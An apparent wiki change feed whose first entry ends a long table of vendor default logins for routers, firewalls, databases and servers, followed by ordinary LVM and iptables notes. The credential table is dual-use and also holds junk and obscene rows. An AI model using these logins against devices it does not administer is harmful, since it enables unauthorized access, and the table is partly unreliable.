 Comersus Shopping Cart 	3.2 	Win 95/98/NT 	admin 	dmr99&lt;br /&gt;
 Compaq 	Insight Manager 	- 	Administrator 	administrator&lt;br /&gt;
 Compaq 	Insight Manager 	- 	operator 	operator&lt;br /&gt;
 Compaq 	Management Agents 	All 	administrator 	none&lt;br /&gt;
 compaq 	- 	- 	- 	-&lt;br /&gt;
 copper mountain 	- 	- 	- 	-&lt;br /&gt;
 Coppercom 	- 	- 	- 	-&lt;br /&gt;
 Coyote-Point 	Equaliser 4 	Free BSD 	eqadmin - Serial port only 	equalizer&lt;br /&gt;
 Coyote-Point 	Equaliser 4 	Free BSD 	root - Serial port only 	-&lt;br /&gt;
 Coyote-Point 	Equaliser 4 	Free BSD 	look - Web Browser only (Read a 	look&lt;br /&gt;
 Coyote-Point 	Equaliser 4 	Free BSD 	touch - Web Browser only (Write 	touch&lt;br /&gt;
 Cyclades 	MP/RT 	- 	super 	surt&lt;br /&gt;
 D-Link 	DI-704 	- 	- 	admin&lt;br /&gt;
 D-Link 	DI-701 	2.22 (?) 	- 	-&lt;br /&gt;
 Dell 	PowerVault 50F 	WindRiver (E 	root 	calvin&lt;br /&gt;
 Dell 	PowerVault 35F 	- 	root 	calvin&lt;br /&gt;
 Dell 	Powerapp Web 100 Linux 	RedHat 6.2 	root 	powerapp&lt;br /&gt;
 dell 	- 	- 	- 	-&lt;br /&gt;
 Digiboard 	Portserver 8 &amp;amp; 16 	any 	root 	dbps&lt;br /&gt;
 DLink 	DI-206 ISDN router 	1.* 	Admin 	Admin&lt;br /&gt;
 Dlink 	Dl-106 ISDN router 	- 	- 	1234&lt;br /&gt;
 DLink 	DL-701 Cable/DSL Gateway/Firewall 	- 	- 	year2000&lt;br /&gt;
 Dlink 	DFE-538TX 10/100 Adapter 	Windows 98 	- 	-&lt;br /&gt;
 dlink 	di704 	- 	- 	admin&lt;br /&gt;
 DLink 	DI 106 	winnt 	administrator 	@*nigU^D.ha,;&lt;br /&gt;
 Dupont Digital Water Proofer 	Sun Sparc 	any 	root 	par0t&lt;br /&gt;
 eci 	- 	- 	- 	-&lt;br /&gt;
 Efficient 	- 	- 	- 	-&lt;br /&gt;
 Elron 	Firewall 	2.5c 	hostname/ip address 	sysadmin&lt;br /&gt;
 emai 	hotmail 	- 	- 	-&lt;br /&gt;
 Ericsson 	ACC 	- 	netman 	netman&lt;br /&gt;
 Ericsson (formerly ACC) 	Any router 	all 	netman 	netman&lt;br /&gt;
 Extended Systems 	ExtendNet 4000 / Firewall 	all Versions 	admin 	admin&lt;br /&gt;
 Extended Systems 	Print Servers 	- 	admin 	extendnet&lt;br /&gt;
 Extreme 	All Summits 	- 	admin 	-&lt;br /&gt;
 extreme 	black diamond 	- 	- 	-&lt;br /&gt;
 Extreme 	All 	All 	Admin 	-&lt;br /&gt;
 Flowpoint 	144, 2200 DSL Routers 	ALL 	- 	password&lt;br /&gt;
 FlowPoint 	144, 2200 DSL Routers 	ALL 	- 	admin&lt;br /&gt;
 Flowpoint 	2200 	- 	- 	Serial Num&lt;br /&gt;
 Flowpoint 	2200 	- 	- 	Serial Num&lt;br /&gt;
 fore 	- 	- 	- 	-&lt;br /&gt;
 Fore Systems 	ASX 1000/1200 	6.x 	ami 	-&lt;br /&gt;
 Foundry Networks 	ServerIronXL 	Any 	- 	-&lt;br /&gt;
 fujitsu 	l460 	- 	- 	-&lt;br /&gt;
 Future Networks 	FN 110C Docsis cablemodem 	Any 	- 	-&lt;br /&gt;
 gatway 	solo9100 	win95 	- 	-&lt;br /&gt;
 General Instruments 	SB2100D Cable Modem 	- 	test 	test&lt;br /&gt;
 gonet 	- 	- 	fast 	abd234&lt;br /&gt;
 Hewlett Packard 	HP Jetdirect (All Models) 	Any 	none 	none&lt;br /&gt;
 Hewlett Packard 	MPE-XL 	- 	HELLO 	MANAGER.SYS&lt;br /&gt;
 Hewlett Packard 	MPE-XL 	- 	HELLO 	MGR.SYS&lt;br /&gt;
 Hewlett Packard 	MPE-XL 	- 	HELLO 	FIELD.SUPPORT&lt;br /&gt;
 Hewlett Packard 	MPE-XL 	- 	MGR 	CAROLIAN&lt;br /&gt;
 Hewlett Packard 	MPE-XL 	- 	MGR 	CCC&lt;br /&gt;
 Hewlett Packard 	MPE-XL 	- 	OPERATOR 	COGNOS&lt;br /&gt;
 Hewlett Packard 	MPE-XL 	- 	MANAGER 	HPOFFICE&lt;br /&gt;
 hp 	4150 	- 	- 	-&lt;br /&gt;
 hp 	- 	- 	- 	-&lt;br /&gt;
 IBM 	AS/400 	- 	qsecofr 	qsecofr&lt;br /&gt;
 IBM 	AS/400 	- 	qsysopr 	qsysopr&lt;br /&gt;
 IBM 	AS/400 	- 	qpgmr 	qpgmr&lt;br /&gt;
 IBM 	NetCommerce PRO 	3.2 	ncadmin 	ncadmin&lt;br /&gt;
 IBM 	LAN Server / OS/2 	2.1, 3.0, 4. 	username 	password&lt;br /&gt;
 IBM 	2210 	RIP 	def 	trade&lt;br /&gt;
 IBM 	DB2 	WinNT 	db2admin 	db2admin&lt;br /&gt;
 IBM 	Lotus Domino Go WebServer (net.commerce edition) 	ANY ? 	webadmin 	webibm&lt;br /&gt;
 IBM 	AS400 	Any 	QSECOFR 	QSECOFR&lt;br /&gt;
 IBM 	RS/6000 	AIX 	root 	ibm&lt;br /&gt;
 IBM 	- 	OS/400 	QSECOFR 	QSECOFR&lt;br /&gt;
 IBM 	AS400 	- 	QSRVBAS 	QSRVBAS&lt;br /&gt;
 IBM 	AS400 	- 	QSRV 	QSRV&lt;br /&gt;
 ibm 	as400 	- 	- 	-&lt;br /&gt;
 IBM 	AS/400 	OS/400 	QUSER 	QUSER&lt;br /&gt;
 IBM 	AS/400 	- 	- 	-&lt;br /&gt;
 IBM 	ra6000 	AIX Unix 	- 	-&lt;br /&gt;
 IBM 	AIX 	- 	- 	-&lt;br /&gt;
 Imperia Software 	Imperia Content Managment System 	Unix/NT 	superuser 	superuser&lt;br /&gt;
 Intel 	510T 	Any 	- 	admin&lt;br /&gt;
 Intel 	All Routers 	All Versions 	- 	babbit&lt;br /&gt;
 Intel 	All Routers 	All Versions 	- 	babbit&lt;br /&gt;
 Intel 	Intel PRO/Wireless 2011 Wireless LAN Access Point 	Any 	- 	Intel&lt;br /&gt;
 Intel 	wireless lan access Point 	- 	- 	comcomcom&lt;br /&gt;
 Ipswitch 	Whats up Gold 6.0 	Windows 9x a 	admin 	admin&lt;br /&gt;
 janta sales 	254 	compaq 	janta sales 	janta211&lt;br /&gt;
 janta sales 	254 	compaq 	janta sales 	janta211&lt;br /&gt;
 Jetform 	Jetform_design 	- 	Jetform 	-&lt;br /&gt;
 Kawa 	- 	- 	- 	-&lt;br /&gt;
 LANCAST 	- 	- 	- 	-&lt;br /&gt;
 Lantronix 	LPS1-T Print Server 	j11-16 	any 	system&lt;br /&gt;
 Lantronix 	MSS100, MSSVIA, UDS10 	Any 	- 	system&lt;br /&gt;
 Lantronix 	LSB4 	any 	any 	system&lt;br /&gt;
 Lantronix 	Printer and terminalservers 	- 	- 	system&lt;br /&gt;
 LGIC 	Goldstream 	2.5.1 	LR-ISDN 	LR-ISDN&lt;br /&gt;
 Linkou School 	- 	- 	bill 	bill&lt;br /&gt;
 Linkou School 	- 	- 	bill 	bill&lt;br /&gt;
 Linksys 	Cable/DSL router 	Any 	- 	admin&lt;br /&gt;
 Linksys 	BEFSR7(1) OR (4) 	Standalone R 	blank 	admin&lt;br /&gt;
 linksys 	- 	- 	- 	-&lt;br /&gt;
 Linksys 	BEFSR41 	- 	(blank) 	admin&lt;br /&gt;
 Livingston 	Livingston_portmaster2/3 	- 	!root 	blank&lt;br /&gt;
 Livingston 	Livingston_officerouter 	- 	!root 	blank&lt;br /&gt;
 Lucent 	Portmaster 2 	- 	!root 	none&lt;br /&gt;
 Lucent 	Cajun Family 	- 	root 	root&lt;br /&gt;
 lucent 	Portmaster 3 	unknown 	!root 	!ishtar&lt;br /&gt;
 Lucent 	Packetstar (PSAX) 	- 	readwrite 	lucenttech1&lt;br /&gt;
 Lucent 	AP-1000 	- 	public 	public&lt;br /&gt;
 lucent 	dsl 	- 	- 	-&lt;br /&gt;
 lucent 	- 	- 	- 	-&lt;br /&gt;
 macromedia 	freehand 	9 	- 	-&lt;br /&gt;
 MacSense 	X-Router Pro 	- 	admin 	admin&lt;br /&gt;
 mcafee 	- 	- 	- 	-&lt;br /&gt;
 microcom 	hdms 	unknowen 	system 	hdms&lt;br /&gt;
 Micron 	- 	bios 	- 	-&lt;br /&gt;
 Microrouter (Cisco) 	Any 	Any 	- 	letmein&lt;br /&gt;
 Microrouter (Cisco) 	Any 	Any 	- 	letmein&lt;br /&gt;
 Microsoft 	Windows NT 	All 	Administrator 	-&lt;br /&gt;
 Microsoft 	Windows NT 	All 	Guest 	-&lt;br /&gt;
 Microsoft 	Windows NT 	All 	Mail 	-&lt;br /&gt;
 Microsoft 	SQL Server 	- 	sa 	-&lt;br /&gt;
 Microsoft 	Windows NT 	4.0 	pkoolt 	pkooltPS&lt;br /&gt;
 Microsoft 	NT 	- 	- 	start&lt;br /&gt;
 MICROSOFT 	NT 	4.0 	free user 	user&lt;br /&gt;
 Microsoft 	Windows NT 	4.0 	admin 	admin&lt;br /&gt;
 MICROSOFT 	NT 	4.0 	free user 	user&lt;br /&gt;
 Microsoft 	- 	- 	- 	-&lt;br /&gt;
 microsoft 	- 	- 	- 	-&lt;br /&gt;
 Microsoft 	Ms proxy 2.0 	- 	- 	-&lt;br /&gt;
 microsoft 	- 	- 	- 	-&lt;br /&gt;
 mICROSOFT 	- 	- 	- 	-&lt;br /&gt;
 Microsoft 	Key Managment Server 	Windows NT 4 	- 	password&lt;br /&gt;
 Microsoft 	- 	- 	- 	-&lt;br /&gt;
 Motorola 	Motorola-Cablerouter 	- 	cablecom 	router&lt;br /&gt;
 Motorola 	Motorola-Cablerouter 	- 	cablecom 	router&lt;br /&gt;
 motorola 	cyber surfer 	- 	- 	-&lt;br /&gt;
 msdloto 	msdloto 	- 	- 	-&lt;br /&gt;
 msdloto 	- 	- 	- 	-&lt;br /&gt;
 Multi-Tech 	RASExpress Server 	5.30a 	guest 	none&lt;br /&gt;
 Nanoteq 	NetSeq firewall 	* 	admin 	NetSeq&lt;br /&gt;
 NetApp 	NetCache 	any 	admin 	NetCache&lt;br /&gt;
 Netgaer 	RH328 	- 	- 	1234&lt;br /&gt;
 Netgear 	RH348 	- 	- 	1234&lt;br /&gt;
 Netgear 	ISDN-Router RH348 	- 	- 	1234&lt;br /&gt;
 Netgear 	RT311 	Any 	Admin 	1234&lt;br /&gt;
 Netgear 	RT314 	Any 	Admin 	1234&lt;br /&gt;
 Netgear 	RT338 	- 	- 	1234&lt;br /&gt;
 Netgear 	RT311/RT314 	- 	admin 	1234&lt;br /&gt;
 netgear 	- 	- 	- 	-&lt;br /&gt;
 netlink 	rt314 	- 	- 	-&lt;br /&gt;
 Netopia 	R7100 	4.6.2 	admin 	admin&lt;br /&gt;
 Netopia 	455 	v3.1 		&lt;br /&gt;
 Netscreen 	NS-5, NS10, NS-100 	2.0 	netscreen 	netscreen&lt;br /&gt;
 NeXT 	- 	NeXTStep 3.3 	me 	-&lt;br /&gt;
 Nokia - Telecom NZ 	M10 	- 	Telecom 	Telecom&lt;br /&gt;
 Nortel 	Meridian 1 PBX 	OS Release 2 	0000 	0000&lt;br /&gt;
 Nortel 	Contivity Extranet Switches 	2.x 	admin 	setup&lt;br /&gt;
 Nortel 	Norstar Modular ICS 	Any 	**ADMIN (**23646) 	ADMIN (23646)&lt;br /&gt;
 Nortel 	Norstar Modular ICS 	Any 	**CONFIG (266344) 	CONFIG (266344)&lt;br /&gt;
 Nortel Networks (Bay) 	Instant Internet 	Any 	- 	-&lt;br /&gt;
 Northern Telecom(Nortel) 	Meridian 1 	- 	- 	m1link&lt;br /&gt;
 Novell 	NetWare 	Any 	guest 	-&lt;br /&gt;
 Novell 	NetWare 	any 	PRINT 	-&lt;br /&gt;
 Novell 	NetWare 	Any 	LASER 	-&lt;br /&gt;
 Novell 	NetWare 	Any 	HPLASER 	-&lt;br /&gt;
 Novell 	NetWare 	Any 	PRINTER 	-&lt;br /&gt;
 Novell 	NetWare 	Any 	LASERWRITER 	-&lt;br /&gt;
 Novell 	NetWare 	Any 	POST 	-&lt;br /&gt;
 Novell 	NetWare 	Any 	MAIL 	-&lt;br /&gt;
 Novell 	NetWare 	Any 	GATEWAY 	-&lt;br /&gt;
 Novell 	NetWare 	Any 	GATE 	-&lt;br /&gt;
 Novell 	NetWare 	Any 	ROUTER 	-&lt;br /&gt;
 Novell 	NetWare 	Any 	BACKUP 	-&lt;br /&gt;
 Novell 	NetWare 	Arcserve 	CHEY_ARCHSVR 	WONDERLAND&lt;br /&gt;
 Novell 	NetWare 	Any 	WINDOWS_PASSTHRU 	-&lt;br /&gt;
 novell 	- 	- 	- 	-&lt;br /&gt;
 ODS 	1094 IS Chassis 	4.x 	ods 	ods&lt;br /&gt;
 Optivision 	Nac 3000 &amp;amp; 4000 	any 	root 	mpegvideo&lt;br /&gt;
 Oracle 	8i 	8.1.6 	sys 	change_on_install&lt;br /&gt;
 Oracle 	Internet Directory Service 	any 	cn=orcladmin 	welcome&lt;br /&gt;
 Oracle 	7 or later 	- 	system 	manager&lt;br /&gt;
 Oracle 	7 or later 	- 	sys 	change_on_install&lt;br /&gt;
 Oracle 	7 or later 	Any 	Scott 	Tiger&lt;br /&gt;
 Oracle 	8i 	all 	internal 	oracle&lt;br /&gt;
 oracle 	- 	- 	- 	-&lt;br /&gt;
 oracle 	- 	- 	- 	-&lt;br /&gt;
 oracle co. 	Database engines 	every 	sys 	change_on_install&lt;br /&gt;
 Osicom(Datacom) 	Osicom(Datacom) 	- 	sysadm 	sysadm&lt;br /&gt;
 Pandatel 	EMUX 	all 	admin 	admin&lt;br /&gt;
 PlainTree 	Waveswitch 100 	- 	- 	default.password&lt;br /&gt;
 RapidStream 	RS4000-RS8000 	Linux 	rsadmin 	rsadmin&lt;br /&gt;
 realtek 	8139 	- 	- 	-&lt;br /&gt;
 Remedy 	Any 	Any 	Demo 	-&lt;br /&gt;
 Research Machines 	Classroom Assistant 	Windows 95 	manager 	changeme&lt;br /&gt;
 Rodopi 	Rodopi billing software 'AbacBill' sql database 	- 	rodopi 	rodopi&lt;br /&gt;
 Samba 	SWAT Package 	Linux 	Any Local User 	Local User password&lt;br /&gt;
 schoolgirl 	member 	- 	ich 	hci&lt;br /&gt;
 Securicor3NET 	Monet 	any 	manager 	friend&lt;br /&gt;
 Securicor3NET 	Cezzanne 	any 	manager 	friend&lt;br /&gt;
 SGI 	all 	all 	root 	n/a&lt;br /&gt;
 SGI 	Embedded Support Partner 	IRIX 6.5.6 	Administrator 	Partner&lt;br /&gt;
 SGI 	IRIX 	ALL 	lp 	lp&lt;br /&gt;
 SGI 	IRIX 	ALL 	OutOfBox, demos, guest, 4DGifts 	(none by default)&lt;br /&gt;
 SGI 	IRIX 	ALL 	EZsetup 	-&lt;br /&gt;
 Shiva 	LanRover 	any? 	root 	-&lt;br /&gt;
 Shiva 	AccessPort 	Any 	hello 	hello&lt;br /&gt;
 Shiva 	Any? 	- 	Guest 	blank&lt;br /&gt;
 SMC 	Barricade 	- 	- 	admin&lt;br /&gt;
 soho 	nbg800 	unknown 	admin 	1234&lt;br /&gt;
 Solaris 	- 	- 	- 	-&lt;br /&gt;
 sonic wall 	any firewall device 	admin 	password 	-&lt;br /&gt;
 SonicWall 	Any Firewall Device 	- 	admin 	password&lt;br /&gt;
 SpeedStream 	- 	- 	- 	-&lt;br /&gt;
 Spider Systems 	M250 / M250L 	- 	- 	hello&lt;br /&gt;
 Sprint PCS 	SCH2000 	see notes 	Menu - 8 - 0 (see notes) 	040793&lt;br /&gt;
 Ssangyoung 	SR2501 	- 	- 	2501&lt;br /&gt;
 Sun 	- 	SunOS 4.1.4 	root 	-&lt;br /&gt;
 Sun 	- 	Solaris 	- 	-&lt;br /&gt;
 surecom 	ep3501/3506 	own os 	admin 	surecom&lt;br /&gt;
 Symnatec 	- 	- 	- 	-&lt;br /&gt;
 SysKonnect 	6616 	- 	default.password 	-&lt;br /&gt;
 SysKonnect 	6616 	- 	default.password 	-&lt;br /&gt;
 Tekelec 	Eagle STP 	- 	eagle 	eagle&lt;br /&gt;
 Telebit 	netblazer 3.* 	- 	setup/snmp 	setup/nopasswd&lt;br /&gt;
 Terayon 	TeraLink Getaway 	- 	admin 	password&lt;br /&gt;
 Terayon 	TeraLink 1000 Controller 	- 	admin 	password&lt;br /&gt;
 Terayon 	TeraLink 1000 Controller 	- 	user 	password&lt;br /&gt;
 Terayon 	TeraLink Getaway 	- 	user 	password&lt;br /&gt;
 terayon 	- 	6.29 	admin 	nms&lt;br /&gt;
 Terrayon 	- 	- 	- 	-&lt;br /&gt;
 Titbas 	- 	SCO 	haasadm 	lucy99&lt;br /&gt;
 TopLayer 	AppSwitch 2500 	Any 	siteadmin 	toplayer&lt;br /&gt;
 Toshiba 	TR-650 	V2.01.00 	admin 	tr650&lt;br /&gt;
 toshiba 	480cdt 	- 	- 	-&lt;br /&gt;
 toshiba 	- 	- 	- 	-&lt;br /&gt;
 TrendMicro 	ISVW (VirusWall) 	any 	admin 	admin&lt;br /&gt;
 Trintech 	eAcquirer App/Data Servers 	- 	t3admin 	Trintech&lt;br /&gt;
 Ullu ka pattha 	Gand mara 	Gandoo 	Bhosda 	Lund&lt;br /&gt;
 USR 	TOTALswitch 	Any 	none 	amber&lt;br /&gt;
 Vina Technologies 	ConnectReach 	3.6.2 	(none) 	(none)&lt;br /&gt;
 voy 	- 	- 	- 	-&lt;br /&gt;
 WatchGuard 	FireBox 	3-4.6 	- 	wg (touch password)&lt;br /&gt;
 Webmin 	Webmin 	Any Unix/Lin 	admin 	-&lt;br /&gt;
 Webramp 	410i etc... 	- 	wradmin 	trancell&lt;br /&gt;
 Win2000 	Quick Time 4.0 	Englisch 	- 	-&lt;br /&gt;
 Windows 98 se 	98 se 	- 	- 	-&lt;br /&gt;
 Wireless Inc. 	WaveNet 2458 	n/a 	root 	rootpass&lt;br /&gt;
 Xylan 	Omnistack 1032CF 	3.2.8 	admin 	password&lt;br /&gt;
 Xylan 	Omnistack 4024 	3.4.9 	admin 	password&lt;br /&gt;
 Xylan 	Omniswitch 	3.1.8 	admin 	switch&lt;br /&gt;
 xyplex 	mx-16xx 	- 	setpriv 	system&lt;br /&gt;
 Zyxel 	ISDN-Router Prestige 1000 	- 	- 	1234&lt;br /&gt;
 zyxel 	prestige 300 series 	zynos 2.* 	- 	1234&lt;br /&gt;
 Zyxel 	ISDN Router Prestige 100IH 	- 	- 	1234&lt;br /&gt;
 Zyxel 	prestige 300 series 	any 	- 	-&lt;br /&gt;
 Zyxel 	prestige 600 series 	any 	- 	-&lt;br /&gt;
 ZYXEL 	641 ADSL 	- 	- 	1234&lt;br /&gt;
 Zyxel 	prestige 128 modem-router 	any 	- 	1234&lt;br /&gt;
 Zyxel 	ISDN-Router Prestige 1000 	- 	- 	-&lt;br /&gt;
 Zyxel 	ISDN-Router Prestige 1000 	- 	- 	-&lt;br /&gt;
&lt;br /&gt;
Spero siano utili a qualcuno&lt;br /&gt;
&lt;br /&gt;
== LOG ==&lt;br /&gt;
&lt;br /&gt;
Nov/02/2006 15:38:05 	Wireless PC connected 00-11-24-22-A9-AE&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=LVM&amp;diff=6418</id>
		<title>LVM</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=LVM&amp;diff=6418"/>
		<updated>2022-11-17T17:22:57Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Resizing out from Disk-&amp;gt;PV-&amp;gt;LV-&amp;gt;Partition */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Info =&lt;br /&gt;
&lt;br /&gt;
*; Phisical Volumes&lt;br /&gt;
 pvs&lt;br /&gt;
&lt;br /&gt;
*; Volume Groups&lt;br /&gt;
 vgs&lt;br /&gt;
*; Logical Volumes&lt;br /&gt;
 lvs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Phisical Volumes (PV) =&lt;br /&gt;
&lt;br /&gt;
 pvs&lt;br /&gt;
  PV         VG         Fmt  Attr PSize   PFree  &lt;br /&gt;
  /dev/sda  vg_1 lvm2 a--  930.82g      0 &lt;br /&gt;
  /dev/sdb  vg_1 lvm2 a--  931.31g 931.31g&lt;br /&gt;
* Phisical to Virtual&lt;br /&gt;
  lvs -a -o +devices&lt;br /&gt;
* Segmentation&lt;br /&gt;
 pvs -v --segments /dev/sdb1&lt;br /&gt;
  PV         VG          Fmt  Attr PSize  PFree  Start SSize LV   Start Type   PE Ranges       &lt;br /&gt;
  /dev/sdb1  server03-vg lvm2 a--  58.35g 40.35g     0  4608 root     0 linear /dev/sdb1:0-4607&lt;br /&gt;
  /dev/sdb1  server03-vg lvm2 a--  58.35g 40.35g  4608 10330          0 free                   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== add a disk to a PV ==&lt;br /&gt;
  vgextend vg_1 /dev/sdb&lt;br /&gt;
  Volume group &amp;quot;vg_1&amp;quot; successfully extended&lt;br /&gt;
&lt;br /&gt;
== remove a disk from PV ==&lt;br /&gt;
&lt;br /&gt;
 vgreduce vg_1 /dev/sdb&lt;br /&gt;
  Removed &amp;quot;/dev/sdb&amp;quot; from volume group &amp;quot;vg_1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== delete a PV ==&lt;br /&gt;
 vgremove vg_1&lt;br /&gt;
 Volume group &amp;quot;vg_1&amp;quot; successfully removed&lt;br /&gt;
&lt;br /&gt;
= Resizing out from Disk-&amp;gt;PV-&amp;gt;LV-&amp;gt;Partition =&lt;br /&gt;
&lt;br /&gt;
* After resizing a physical drive this commands will claim the space gained to the file system.&lt;br /&gt;
*resizing LVM linux partition to the new disk boundaries&lt;br /&gt;
 pvresize /dev/md1&lt;br /&gt;
&lt;br /&gt;
 pvresize --setphysicalvolumesize (size here) /dev/sda5&lt;br /&gt;
&lt;br /&gt;
* adding 100G &lt;br /&gt;
 lvextend -L+100G /dev/mapper/vg0-var&lt;br /&gt;
* ext4 resizing command&lt;br /&gt;
 resize2fs /dev/mapper/vg0-var&lt;br /&gt;
&lt;br /&gt;
 df -hT&lt;br /&gt;
&lt;br /&gt;
= Logical Volumes =&lt;br /&gt;
== create a mirror volume ==&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L 931g vg_1 -m 1 vg_1&lt;br /&gt;
&lt;br /&gt;
== create a mirror from existing and mounted volume ==&lt;br /&gt;
&lt;br /&gt;
 lvconvert -m1 vg_1/lv_home&lt;br /&gt;
&lt;br /&gt;
* then we check the result:&lt;br /&gt;
 # pvs;echo;vgs;echo;lvs&lt;br /&gt;
  PV         VG         Fmt  Attr PSize   PFree &lt;br /&gt;
  /dev/sda2  vg_1 lvm2 a--  930.82g     0 &lt;br /&gt;
  /dev/sdb   vg_1 lvm2 a--  931.31g 56.33g&lt;br /&gt;
&lt;br /&gt;
  VG         #PV #LV #SN Attr   VSize VFree &lt;br /&gt;
  vg_1  2   3   0 wz--n- 1.82t 56.33g&lt;br /&gt;
&lt;br /&gt;
  LV      VG         Attr     LSize   Pool Origin Data%  Move Log          Copy%  Convert&lt;br /&gt;
  lv_home vg_1 mwi-aom- 874.98g                         lv_home_mlog 100.00        &lt;br /&gt;
  lv_root vg_1 -wi-ao--  50.00g                                                    &lt;br /&gt;
  lv_swap vg_1 -wi-ao--   5.84g&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=LVM&amp;diff=6417</id>
		<title>LVM</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=LVM&amp;diff=6417"/>
		<updated>2022-11-17T17:22:06Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Phisical Volumes (PV) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Info =&lt;br /&gt;
&lt;br /&gt;
*; Phisical Volumes&lt;br /&gt;
 pvs&lt;br /&gt;
&lt;br /&gt;
*; Volume Groups&lt;br /&gt;
 vgs&lt;br /&gt;
*; Logical Volumes&lt;br /&gt;
 lvs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Phisical Volumes (PV) =&lt;br /&gt;
&lt;br /&gt;
 pvs&lt;br /&gt;
  PV         VG         Fmt  Attr PSize   PFree  &lt;br /&gt;
  /dev/sda  vg_1 lvm2 a--  930.82g      0 &lt;br /&gt;
  /dev/sdb  vg_1 lvm2 a--  931.31g 931.31g&lt;br /&gt;
* Phisical to Virtual&lt;br /&gt;
  lvs -a -o +devices&lt;br /&gt;
* Segmentation&lt;br /&gt;
 pvs -v --segments /dev/sdb1&lt;br /&gt;
  PV         VG          Fmt  Attr PSize  PFree  Start SSize LV   Start Type   PE Ranges       &lt;br /&gt;
  /dev/sdb1  server03-vg lvm2 a--  58.35g 40.35g     0  4608 root     0 linear /dev/sdb1:0-4607&lt;br /&gt;
  /dev/sdb1  server03-vg lvm2 a--  58.35g 40.35g  4608 10330          0 free                   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== add a disk to a PV ==&lt;br /&gt;
  vgextend vg_1 /dev/sdb&lt;br /&gt;
  Volume group &amp;quot;vg_1&amp;quot; successfully extended&lt;br /&gt;
&lt;br /&gt;
== remove a disk from PV ==&lt;br /&gt;
&lt;br /&gt;
 vgreduce vg_1 /dev/sdb&lt;br /&gt;
  Removed &amp;quot;/dev/sdb&amp;quot; from volume group &amp;quot;vg_1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== delete a PV ==&lt;br /&gt;
 vgremove vg_1&lt;br /&gt;
 Volume group &amp;quot;vg_1&amp;quot; successfully removed&lt;br /&gt;
&lt;br /&gt;
= Resizing out from Disk-&amp;gt;PV-&amp;gt;LV-&amp;gt;Partition =&lt;br /&gt;
&lt;br /&gt;
* After resizing a physical drive this commands will claim the space gained to the file system.&lt;br /&gt;
*resizing LVM linux partition to the new disk boundaries&lt;br /&gt;
 pvresize /dev/md1&lt;br /&gt;
* adding 100G &lt;br /&gt;
 lvextend -L+100G /dev/mapper/vg0-var&lt;br /&gt;
* ext4 resizing command&lt;br /&gt;
 resize2fs /dev/mapper/vg0-var&lt;br /&gt;
&lt;br /&gt;
 df -hT&lt;br /&gt;
&lt;br /&gt;
= Logical Volumes =&lt;br /&gt;
== create a mirror volume ==&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L 931g vg_1 -m 1 vg_1&lt;br /&gt;
&lt;br /&gt;
== create a mirror from existing and mounted volume ==&lt;br /&gt;
&lt;br /&gt;
 lvconvert -m1 vg_1/lv_home&lt;br /&gt;
&lt;br /&gt;
* then we check the result:&lt;br /&gt;
 # pvs;echo;vgs;echo;lvs&lt;br /&gt;
  PV         VG         Fmt  Attr PSize   PFree &lt;br /&gt;
  /dev/sda2  vg_1 lvm2 a--  930.82g     0 &lt;br /&gt;
  /dev/sdb   vg_1 lvm2 a--  931.31g 56.33g&lt;br /&gt;
&lt;br /&gt;
  VG         #PV #LV #SN Attr   VSize VFree &lt;br /&gt;
  vg_1  2   3   0 wz--n- 1.82t 56.33g&lt;br /&gt;
&lt;br /&gt;
  LV      VG         Attr     LSize   Pool Origin Data%  Move Log          Copy%  Convert&lt;br /&gt;
  lv_home vg_1 mwi-aom- 874.98g                         lv_home_mlog 100.00        &lt;br /&gt;
  lv_root vg_1 -wi-ao--  50.00g                                                    &lt;br /&gt;
  lv_swap vg_1 -wi-ao--   5.84g&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Firewall_(iptables)&amp;diff=6416</id>
		<title>Firewall (iptables)</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Firewall_(iptables)&amp;diff=6416"/>
		<updated>2022-09-20T20:47:55Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Firewalld */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== NAT ==&lt;br /&gt;
&lt;br /&gt;
Network Address Translation [[NAT]]&lt;br /&gt;
&lt;br /&gt;
== linux powerful firewall ==&lt;br /&gt;
* print out the configuration running:&lt;br /&gt;
 iptables -L&lt;br /&gt;
* or better this will print all input table rules&lt;br /&gt;
 iptables-save&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
* some rules:&lt;br /&gt;
 target     prot opt source               destination&lt;br /&gt;
 ACCEPT     all  --  anywhere             anywhere&lt;br /&gt;
 ACCEPT     icmp --  anywhere             anywhere            icmp any&lt;br /&gt;
 ACCEPT     ipv6-crypt--  anywhere             anywhere&lt;br /&gt;
 ACCEPT     ipv6-auth--  anywhere             anywhere&lt;br /&gt;
 ACCEPT     udp  --  anywhere             224.0.0.251         udp dpt:mdns&lt;br /&gt;
 ACCEPT     udp  --  anywhere             anywhere            udp dpt:ipp&lt;br /&gt;
 ACCEPT     tcp  --  anywhere             anywhere            tcp dpt:ipp&lt;br /&gt;
 ACCEPT     all  --  anywhere             anywhere            state RELATED,ESTABLISHED&lt;br /&gt;
 ACCEPT     tcp  --  anywhere             anywhere            state NEW tcp dpt:ssh&lt;br /&gt;
